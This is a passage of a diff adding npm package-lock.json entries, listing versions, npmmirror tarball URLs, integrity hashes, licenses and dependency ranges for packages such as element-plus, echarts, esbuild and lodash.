"https://registry.npmmirror.com/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/chokidar": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-4.0.3.tgz", + "integrity": "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "readdirp": "^4.0.1" + }, + "engines": { + "node": ">= 14.16.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmmirror.com/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/confbox": { + "version": "0.1.8", + "resolved": "https://registry.npmmirror.com/confbox/-/confbox-0.1.8.tgz", + "integrity": "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==", + "dev": true, + "license": "MIT" + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmmirror.com/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "license": "MIT" + }, + "node_modules/dayjs": { + "version": "1.11.19", + "resolved": "https://registry.npmmirror.com/dayjs/-/dayjs-1.11.19.tgz", + "integrity": "sha512-t5EcLVS6QPBNqM2z8fakk/NKel+Xzshgt8FFKAn+qwlD1pzZWxh0nVCrvFK7ZDb6XucZeF9z8C7CBWTRIVApAw==", + "license": "MIT" + }, + "node_modules/de-indent": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/de-indent/-/de-indent-1.0.2.tgz", + "integrity": "sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg==", + "dev": true, + "license": "MIT" + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "dev": true, + "license": "Apache-2.0", + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/echarts": { + "version": "5.6.0", + "resolved": "https://registry.npmmirror.com/echarts/-/echarts-5.6.0.tgz", + "integrity": "sha512-oTbVTsXfKuEhxftHqL5xprgLoc0k7uScAwtryCgWF6hPYFLRwOUHiFmHGCBKP5NPFNkDVopOieyUqYGH8Fa3kA==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "2.3.0", + "zrender": "5.6.1" + } + }, + "node_modules/element-plus": { + "version": "2.13.2", + "resolved": "https://registry.npmmirror.com/element-plus/-/element-plus-2.13.2.tgz", + "integrity": "sha512-Zjzm1NnFXGhV4LYZ6Ze9skPlYi2B4KAmN18FL63A3PZcjhDfroHwhtM6RE8BonlOPHXUnPQynH0BgaoEfvhrGw==", + "license": "MIT", + "dependencies": { + "@ctrl/tinycolor": "^3.4.1", + "@element-plus/icons-vue": "^2.3.2", + "@floating-ui/dom": "^1.0.1", + "@popperjs/core": "npm:@sxzz/popperjs-es@^2.11.7", + "@types/lodash": "^4.17.20", + "@types/lodash-es": "^4.17.12", + "@vueuse/core": "^10.11.0", + "async-validator": "^4.2.5", + "dayjs": "^1.11.19", + "lodash": "^4.17.23", + "lodash-es": "^4.17.23", + "lodash-unified": "^1.0.3", + "memoize-one": "^6.0.0", + "normalize-wheel-es": "^1.2.0" + }, + "peerDependencies": { + "vue": "^3.3.0" + } + }, + "node_modules/entities": { + "version": "7.0.1", + "resolved": "https://registry.npmmirror.com/entities/-/entities-7.0.1.tgz", + "integrity": "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/esbuild": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/esbuild/-/esbuild-0.21.5.tgz", + "integrity": "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.21.5", + "@esbuild/android-arm": "0.21.5", + "@esbuild/android-arm64": "0.21.5", + "@esbuild/android-x64": "0.21.5", + "@esbuild/darwin-arm64": "0.21.5", + "@esbuild/darwin-x64": "0.21.5", + "@esbuild/freebsd-arm64": "0.21.5", + "@esbuild/freebsd-x64": "0.21.5", + "@esbuild/linux-arm": "0.21.5", + "@esbuild/linux-arm64": "0.21.5", + "@esbuild/linux-ia32": "0.21.5", + "@esbuild/linux-loong64": "0.21.5", + "@esbuild/linux-mips64el": "0.21.5", + "@esbuild/linux-ppc64": "0.21.5", + "@esbuild/linux-riscv64": "0.21.5", + "@esbuild/linux-s390x": "0.21.5", + "@esbuild/linux-x64": "0.21.5", + "@esbuild/netbsd-x64": "0.21.5", + "@esbuild/openbsd-x64": "0.21.5", + "@esbuild/sunos-x64": "0.21.5", + "@esbuild/win32-arm64": "0.21.5", + "@esbuild/win32-ia32": "0.21.5", + "@esbuild/win32-x64": "0.21.5" + } + }, + "node_modules/escape-string-regexp": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", + "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "license": "MIT" + }, + "node_modules/exsolve": { + "version": "1.0.8", + "resolved": "https://registry.npmmirror.com/exsolve/-/exsolve-1.0.8.tgz", + "integrity": "sha512-LmDxfWXwcTArk8fUEnOfSZpHOJ6zOMUJKOtFLFqJLoKJetuQG874Uc7/Kki7zFLzYybmZhp1M7+98pfMqeX8yA==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmmirror.com/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fastq": { + "version": "1.20.1", + "resolved": "https://registry.npmmirror.com/fastq/-/fastq-1.20.1.tgz", + "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmmirror.com/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/follow-redirects": { + "version": "1.15.11", + "resolved": "https://registry.npmmirror.com/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/form-data": { + "version": "4.0.5", + "resolved": "https://registry.npmmirror.com/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "license": "MIT", + "bin": { + "he": "bin/he" + } + }, + "node_modules/immutable": { + "version": "5.1.4", + "resolved": "https://registry.npmmirror.com/immutable/-/immutable-5.1.4.tgz", + "integrity": "sha512-p6u1bG3YSnINT5RQmx/yRZBpenIl30kVxkTLDyHLIMk0gict704Q9n+thfDI7lTRm9vXdDYutVzXhzcThxTnXA==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-core-module": { + "version": "2.16.1", + "resolved": "https://registry.npmmirror.com/is-core-module/-/is-core-module-2.16.1.tgz", + "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", + "dev": true, + "license": "MIT", + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/js-tokens": { + "version": "9.0.1", + "resolved": "https://registry.npmmirror.com/js-tokens/-/js-tokens-9.0.1.tgz", + "integrity": "sha512-mxa9E9ITFOt0ban3j6L5MpjwegGz6lBQmM1IJkWeBZGcMxto50+eWdjC/52xDbS2vy0k7vIMK0Fe2wfL9OQSpQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/local-pkg": { + "version": "0.5.1", + "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-0.5.1.tgz", + "integrity": "sha512-9rrA30MRRP3gBD3HTGnC6cDFpaE1kVDWxWgqWJUN0RvDNAo+Nz/9GxB+nHOH0ifbVFy0hSA1V6vFDvnx54lTEQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "mlly": "^1.7.3", + "pkg-types": "^1.2.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/lodash": { + "version": "4.17.23", + "resolved": "https://registry.npmmirror.com/lodash/-/lodash-4.17.23.tgz", + "integrity": "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w==", + "license": "MIT" + }, + "node_modules/lodash-es": { + "version": "4.17.23", + "resolved": "https://registry.npmmirror.com/lodash-es/-/lodash-es-4.17.23.tgz", + "integrity": "sha512-kVI48u3PZr38HdYz98UmfPnXl2DXrpdctLrFLCd3kOx1xUkOmpFPx7gCWWM5MPkL/fD8zb+Ph0QzjGFs4+hHWg==", + "license": "MIT" + }, + "node_modules/lodash-unified": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/lodash-unified/-/lodash-unified-1.0.3.tgz", + "integrity": "sha512-WK9qSozxXOD7ZJQlpSqOT+om2ZfcT4yO+03FuzAHD0wF6S0l0090LRPDx3vhTTLZ8cFKpBn+IOcVXK6qOcIlfQ==", + "license": "MIT", + "peerDependencies": { + "@types/lodash-es": "*", + "lodash": "*", + "lodash-es": "*" + } + }, + "node_modules/magic-string": { + "version": "0.30.21", + "resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/memoize-one": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/memoize-one/-/memoize-one-6.0.0.tgz", + "integrity": "sha512-rkpe71W0N0c0Xz6QD0eJETuWAJGnJ9afsl1srmwPrI+yBCkge5EycXXbYRyvL29zZVUWQCY7InPRCv3GDXuZNw==", + "license": "MIT" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmmirror.com/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmmirror.com/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/micromatch/node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmmirror.com/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmmirror.com/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/mlly": { + "version": "1.8.0", + "resolved": "https://registry.npmmirror.com/mlly/-/mlly-1.8.0.tgz", + "integrity": "sha512-l8D9ODSRWLe2KHJSifWGwBqpTZXIXTeo8mlKjY+E2HAakaTeNpqAyBZ8GSqLzHgw4XmHmC8whvpjJNMbFZN7/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "acorn": "^8.15.0", + "pathe": "^2.0.3", + "pkg-types": "^1.3.1", + "ufo": "^1.6.1" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/muggle-string": { + "version": "0.4.1", + "resolved": "https://registry.npmmirror.com/muggle-string/-/muggle-string-0.4.1.tgz", + "integrity": "sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/node-addon-api": { + "version": "7.1.1", + "resolved": "https://registry.npmmirror.com/node-addon-api/-/node-addon-api-7.1.1.tgz", + "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-wheel-es": { + "version": "1.2.0", 